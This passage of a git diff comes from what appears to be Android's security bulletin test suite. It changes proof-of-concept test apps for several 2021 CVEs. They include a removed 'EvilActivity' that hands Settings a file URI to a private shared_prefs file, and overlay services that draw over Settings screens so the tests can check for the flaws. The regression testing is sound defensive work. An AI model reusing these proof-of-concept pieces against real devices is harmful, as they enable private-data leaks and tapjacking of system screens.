- android:targetPackage="android.security.cts.CVE_2021_0481" />
-
-</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
deleted file mode 100644
index 891bd18..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
+++ /dev/null
@@ -1,199 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.CVE_2021_0481;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.os.SystemClock;
-import android.util.Log;
-
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import androidx.test.filters.SdkSuppress;
-import androidx.test.runner.AndroidJUnit4;
-import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.UiDevice;
-import androidx.test.uiautomator.UiObject2;
-import androidx.test.uiautomator.Until;
-import androidx.test.uiautomator.BySelector;
-
-import java.util.List;
-
-import static org.hamcrest.CoreMatchers.equalTo;
-import static org.hamcrest.CoreMatchers.is;
-import static org.hamcrest.CoreMatchers.notNullValue;
-import static org.junit.Assert.assertThat;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assume.assumeNoException;
-
-/**
- * launch "Settings" app
- * set up user photo
- */
-@RunWith(AndroidJUnit4.class)
-public class DeviceTest {
-
- class ClickableNotFound extends Exception{
- public ClickableNotFound(String s){
- super(s);
- }
- }
-
- private static final String BASIC_SAMPLE_PACKAGE
- = "android.security.cts.CVE_2021_0481";
- private static final int LAUNCH_TIMEOUT_MS = 20000;
- private static final String TAG = "TAG_2021_0481";
- private static final int IS_FOUND_FLAG = 1; // 0001
- private static final int IS_CHECKED_FLAG = 2; // 0010
- private UiDevice mDevice;
-
- @Test
- public void testUserPhotoSetUp() {
-
- //set mDevice and go to homescreen
- mDevice = UiDevice.getInstance(getInstrumentation());
- mDevice.pressHome();
-
- //start "Settings" app
- Intent myIntent = new Intent("android.settings.USER_SETTINGS");
- //android.provider.Settings.ACTION_USER_SETTINGS
- myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- try{
- getApplicationContext().startActivity(myIntent);
- } catch(android.content.ActivityNotFoundException e){
- Log.d(TAG, "Activity to be tested doesn't exist. Test will pass.");
- return;
- }
-
- //wait for "User Settings" activity to appear.
- SystemClock.sleep(6000);
-
- //perform UI test steps
- try {
-
- //in "Multiple users" activity showing "Use multiple users" switch
- searchAndClick(mDevice, "android:id/switch_widget", 2000);
-
- //in "Multiple users" activity showing a list of current users,
- //look for the first item "android:id/title" on the list showing "You(Owner)"
- searchAndClick(mDevice, "android:id/title", 2000);
-
- //in "Profile Info" dialog window showing clickable user silhouette
- //look for clickable android.widget.ImageView object with attributes:
- // getContentDescription()=Select photo
- // getResourceName()=com.android.settings:id/user_photo
- searchAndClick(mDevice, "com.android.settings:id/user_photo", 2000);
-
- //in unnamed subdialog showing two options: "Take a photo" "Choose an image"
- searchAndClick(mDevice, "Choose an image", 6000);
-
- //in "Browse Files in Other Apps" activity
- searchAndClick(mDevice, "android.security.cts.CVE_2021_0481.EvilActivity", 5000);
-
- //Image is chosen as (evilActivity) so we are getting back to
- //"Profile Info" dialog window showing clickable user silhouette
- //end "Cancel" and "OK" buttons.
- //look for "Cancel button and click it"
- searchAndClick(mDevice, "Cancel", 2000);
-
- } catch (ClickableNotFound e){
- Log.d(TAG, e.toString());
- assumeNoException(e);
- }
- Log.d(TAG, "end of testUserPhotoSetUp()");
- }
-
- //see what is on screen and click on object containing name
- //throw exception if object not found
- private void searchAndClick(UiDevice mDevice, String name, int timeOut) throws ClickableNotFound {
-
- int ret;
- List<UiObject2> objects = mDevice.findObjects(By.clickable(true));
- boolean found = false;
- Log.d(TAG, "looking for " + name);
- Log.d(TAG, "found " + String.valueOf(objects!=null ? objects.size() : 0) + " clickables");
-
- if(objects != null){
- for (UiObject2 o : objects) {
- if((ret=searchAndLog(o, name, "")) !=0 )
- {
- found=true;
- Log.d(TAG, name + " found");
- if((ret & IS_CHECKED_FLAG) == 0) {
- o.click();
- Log.d(TAG, name + " clicked");
- SystemClock.sleep(timeOut); //wait for click result to appear onscreen
- }
- break; //to avoid androidx.test.uiautomator.StaleObjectException
- }
- }
- }
- if(!found) {
- throw new ClickableNotFound("\"" + name + "\" not found to click on");
- }
- }
-
- //Search for 'name' in UiObject2
- //returns int flags showing search result:
- // IS_CHECKED_FLAG - 'name' matches o.getResourceName() and o.isSelected()==true
- // IS_FOUND_FLAG - 'name' matches anything else
- private int searchAndLog(UiObject2 o, String name, String prefix){
-
- int ret = 0;
- String lname = o.getText();
- String cname = o.getClassName();
- String cdesc = o.getContentDescription();
- String rname = o.getResourceName();
- boolean checked = o.isChecked();
-
- Log.d(TAG, prefix + "class=" + cname);
- Log.d(TAG, prefix + "o.getText()=" + lname);
- Log.d(TAG, prefix + "o.getContentDescription()=" + cdesc);
- Log.d(TAG, prefix + "o.getResourceName()=" + rname);
- Log.d(TAG, prefix + "o.getChildCount()=" + o.getChildCount());
-
- if( rname != null && rname.equals(name) && checked) {
- ret |= IS_CHECKED_FLAG;
- }
- else if(lname != null && lname.equals(name) || cdesc != null && cdesc.equals(name) || rname != null && rname.equals(name) ) {
- ret |= IS_FOUND_FLAG;
- }
-
- if(ret != 0) {
- Log.d(TAG, prefix + "found-->" + name);
- return ret;
- } else {
- java.util.List<UiObject2> objects2 = o.getChildren();
- if(objects2 != null && objects2.size() > 0 && prefix.length() < 50) {
- for (UiObject2 o2 : objects2) {
- if((ret=searchAndLog(o2, name, prefix + "__")) != 0){
- return ret;
- }
- }
- }
- }
- return ret;
- }
-
-}
-
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java
deleted file mode 100644
index 92f0ec3..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.security.cts.CVE_2021_0481;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Bundle;
-import android.util.Log;
-
-import androidx.annotation.Nullable;
-import androidx.appcompat.app.AppCompatActivity;
-
-public class EvilActivity extends Activity {
-
- final static String PRIVATE_URI = "file:///data/user_de/0/com.android.settings/shared_prefs/cve_2021_0481.txt";
- private static final String TAG = "TAG_2021_0481";
- @Override
- protected void onCreate(@Nullable Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- Log.d(TAG, "EvilActivity started!");
- setResult(-1, new Intent().setData(Uri.parse(PRIVATE_URI)));
- finish();
- }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
index a105e84..7ff1369 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
@@ -21,18 +21,17 @@
android_test_helper_app {
name: "CVE-2021-0523",
- srcs: [
- "src/android/security/cts/CVE_2021_0523/PocActivity.java",
- "src/android/security/cts/CVE_2021_0523/PocService.java",
- ],
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
test_suites: [
"cts",
"vts10",
"sts",
- "general-tests",
],
- sdk_version: "system_current",
static_libs: [
- "androidx.test.ext.junit",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
],
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
index 0d51208..e21b9b7 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
@@ -20,24 +20,30 @@
android:versionName="1.0">
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
- <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
- <uses-permission android:name="android.permission.WAKE_LOCK" />
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
<application
android:allowBackup="true"
android:label="CVE-2021-0523"
android:supportsRtl="true">
+ <uses-library android:name="android.test.runner" />
<service
android:name=".PocService"
android:enabled="true"
android:exported="false" />
- <activity android:name=".PocActivity" android:exported="true">
+ <activity android:name=".PocActivity"
+ android:exported="true"
+ android:taskAffinity="android.security.cts.cve_2021_0523.PocActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.cve_2021_0523" />
</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml
new file mode 100644
index 0000000..dcdbe0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="overlay_button">OverlayButton</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java
new file mode 100644
index 0000000..5804a31
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0523;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
+ private static final String TEST_PKG_WIFI = "com.android.settings";
+ private static final int LAUNCH_TIMEOUT_MS = 20000;
+ private UiDevice mDevice;
+ String mActivityDump = "";
+
+ private void startOverlayService() {
+ Context context = getApplicationContext();
+ if (Settings.canDrawOverlays(getApplicationContext())) {
+ Intent intent = new Intent(getApplicationContext(), PocService.class);
+ context.startService(intent);
+ } else {
+ try {
+ Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+ }
+
+ @Before
+ public void startMainActivityFromHomeScreen() {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ Context context = getApplicationContext();
+ assertNotNull(context);
+ PackageManager packageManager = context.getPackageManager();
+ assertNotNull(packageManager);
+ final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
+ assertNotNull(intent);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ /* Start the launcher activity */
+ context.startActivity(intent);
+ /* Wait for the WifiScanModeActivity */
+ if (!mDevice.wait(Until.hasObject(By.pkg(TEST_PKG_WIFI).depth(0)), LAUNCH_TIMEOUT_MS)) {
+ return;
+ }
+ /* Start the overlay service */
+ startOverlayService();
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ Pattern pattern = Pattern.compile(
+ getApplicationContext().getResources().getString(R.string.overlay_button),
+ Pattern.CASE_INSENSITIVE);
+ BySelector selector = By.text(pattern);
+ /* Wait for an object of the overlay window */
+ if (!mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+ return;
+ }
+ /* Check if the currently running activity is WifiScanModeActivity */
+ try {
+ mActivityDump = mDevice.executeShellCommand("dumpsys activity");
+ } catch (IOException e) {
+ throw new RuntimeException("Could not execute dumpsys activity command");
+ }
+ Pattern activityPattern = Pattern.compile("mResumedActivity.*WifiScanModeActivity.*\n");
+ if (!activityPattern.matcher(mActivityDump).find()) {
+ return;
+ }
+ String message = "Device is vulnerable to b/174047492 hence any app with "
+ + "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen";
+ assertNull(message, mDevice.findObject(selector));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
index 17aab09..3e35266 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
@@ -17,61 +17,22 @@
package android.security.cts.cve_2021_0523;
import android.app.Activity;
+import android.content.ActivityNotFoundException;
import android.content.Intent;
-import android.content.Context;
import android.net.wifi.WifiManager;
-import android.os.Build;
import android.os.Bundle;
-import android.os.PowerManager;
-import android.os.PowerManager.WakeLock;
-import android.provider.Settings;
public class PocActivity extends Activity {
- private WakeLock mScreenLock;
- private Context mContext;
-
- private void startOverlayService() {
- if (Settings.canDrawOverlays(this)) {
- Intent intent = new Intent(PocActivity.this, PocService.class);
- startService(intent);
- } else {
- try {
- Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
- startActivityForResult(intent, 1);
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
-
- private void stopOverlayService() {
- Intent intent = new Intent(PocActivity.this, PocService.class);
- stopService(intent);
- }
@Override
protected void onCreate(Bundle savedInstanceState) {
- mContext = this.getApplicationContext();
- PowerManager pm = mContext.getSystemService(PowerManager.class);
- mScreenLock = pm.newWakeLock(
- PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP,
- "PocActivity");
- mScreenLock.acquire();
- try {
- Thread.sleep(6000);
- } catch (Exception e) {
- e.printStackTrace();
- }
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
- startOverlayService();
Intent intent = new Intent(WifiManager.ACTION_REQUEST_SCAN_ALWAYS_AVAILABLE);
- startActivityForResult(intent, 2);
- }
-
- @Override
- protected void onDestroy() {
- super.onDestroy();
- mScreenLock.release();
+ try {
+ startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ // do nothing
+ }
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
index bef2beb..a106c28 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
@@ -19,18 +19,12 @@
import android.app.Service;
import android.content.Intent;
import android.content.res.Resources;
-import android.graphics.Bitmap;
-import android.graphics.Color;
import android.graphics.PixelFormat;
-import android.os.Build;
import android.os.Handler;
import android.os.IBinder;
import android.provider.Settings;
import android.view.Gravity;
-import android.view.MotionEvent;
-import android.view.View;
import android.view.WindowManager;
-import android.view.WindowManager.LayoutParams;
import android.widget.Button;
public class PocService extends Service {
@@ -84,9 +78,8 @@
private void showFloatingWindow() {
if (Settings.canDrawOverlays(this)) {
mButton = new Button(getApplicationContext());
- mButton.setBackgroundColor(Color.parseColor("#BEBEBE")); // R-BE G-BE B-BE
+ mButton.setText(getResources().getString(R.string.overlay_button));
mWindowManager.addView(mButton, mLayoutParams);
- mButton.setOnTouchListener(new FloatingOnTouchListener());
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
@@ -96,25 +89,4 @@
mButton.setTag(mButton.getVisibility());
}
}
-
- private static class FloatingOnTouchListener implements View.OnTouchListener {
-
- @Override
- public boolean onTouch(View view, MotionEvent event) {
- view.setDrawingCacheEnabled(true);
- view.buildDrawingCache();
- Bitmap bitmap = view.getDrawingCache();
- int pixel = bitmap.getPixel(getScreenWidth() / 2, getScreenHeight() / 2);
- int red = Color.red(pixel);
- int green = Color.green(pixel);
- int blue = Color.blue(pixel);
- view.setDrawingCacheEnabled(false);
- if ((red == 0xBE) && (green == 0xBE) && (blue == 0xBE)) {
- throw new RuntimeException(
- "Device is vulnerable to b/174047492 hence any app with " +
- "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen");
- }
- return false;
- }
- }
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
index 73c8e10..3ffb7df 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
@@ -16,30 +16,34 @@
package android.security.cts.cve_2021_0586;
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
+
import androidx.test.runner.AndroidJUnit4;
import androidx.test.uiautomator.By;
import androidx.test.uiautomator.BySelector;
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.Until;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.io.IOException;
import java.util.regex.Pattern;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertNotNull;
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
- private static final String TEST_PKG_BT = "com.android.settings";
private static final int LAUNCH_TIMEOUT_MS = 20000;
+ private Pattern overlayTextPattern;
private UiDevice mDevice;
String activityDump = "";
@@ -68,26 +72,29 @@
final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
assertNotNull(intent);
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+
/* Start the launcher activity */
context.startActivity(intent);
- Pattern pattern = Pattern.compile(
+ overlayTextPattern = Pattern.compile(
getApplicationContext().getResources().getString(R.string.overlay_button),
Pattern.CASE_INSENSITIVE);
- /* Wait for the overlay window */
- if (!mDevice.wait(Until.hasObject(By.text(pattern).depth(0)), LAUNCH_TIMEOUT_MS)) {
- return;
- }
- /* Start the DevicePickerActivity */
- startDevicePickerActivity();
}
@Test
public void testOverlayButtonPresence() {
- BySelector selector = By.pkg(TEST_PKG_BT);
- /* Wait for an object of DevicePickerActivity */
- if (mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+ /* Wait for the overlay window */
+ if (!mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)) {
return;
}
+
+ /* Start the DevicePickerActivity */
+ startDevicePickerActivity();
+
+ /* Wait until the object of launcher activity is gone */
+ if (mDevice.wait(Until.gone(By.pkg(TEST_PKG)), LAUNCH_TIMEOUT_MS)) {
+ return;
+ }
+
/* Check if the currently running activity is DevicePickerActivity */
try {
activityDump = mDevice.executeShellCommand("dumpsys activity");
@@ -98,8 +105,10 @@
if (!activityPattern.matcher(activityDump).find()) {
return;
}
+
+ /* Failing the test as fix is not present */
String message = "Device is vulnerable to b/182584940 hence any app with "
+ "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen";
- assertNotNull(message, mDevice.findObject(selector));
+ fail(message);
}
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
similarity index 61%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
index bcbf54f..50acd29 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,19 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-0642",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
new file mode 100644
index 0000000..fadda57
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.cve_2021_0642"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+ <application
+ android:allowBackup="true"
+ android:label="CVE-2021-0642"
+ android:supportsRtl="true">
+
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ <intent-filter>
+ <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.cve_2021_0642" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
new file mode 100644
index 0000000..7460b96
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/drawableview"
+ android:layout_width="match_parent"
+ android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
new file mode 100644
index 0000000..8fc235b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0642;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.telephony.TelephonyManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import java.util.List;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ static final String APP_TITLE = "CVE-2021-0642";
+ static final String PACKAGE_NAME = "com.android.phone";
+ static final int LAUNCH_TIMEOUT_MS = 20000;
+
+ @Test
+ public void testCVE_2021_0642() {
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ Context context = getApplicationContext();
+ assertThat(context, notNullValue());
+ PackageManager packageManager = context.getPackageManager();
+ assertThat(packageManager, notNullValue());
+ assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+ final Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ try {
+ context.startActivity(intent);
+ } catch (ActivityNotFoundException e) {
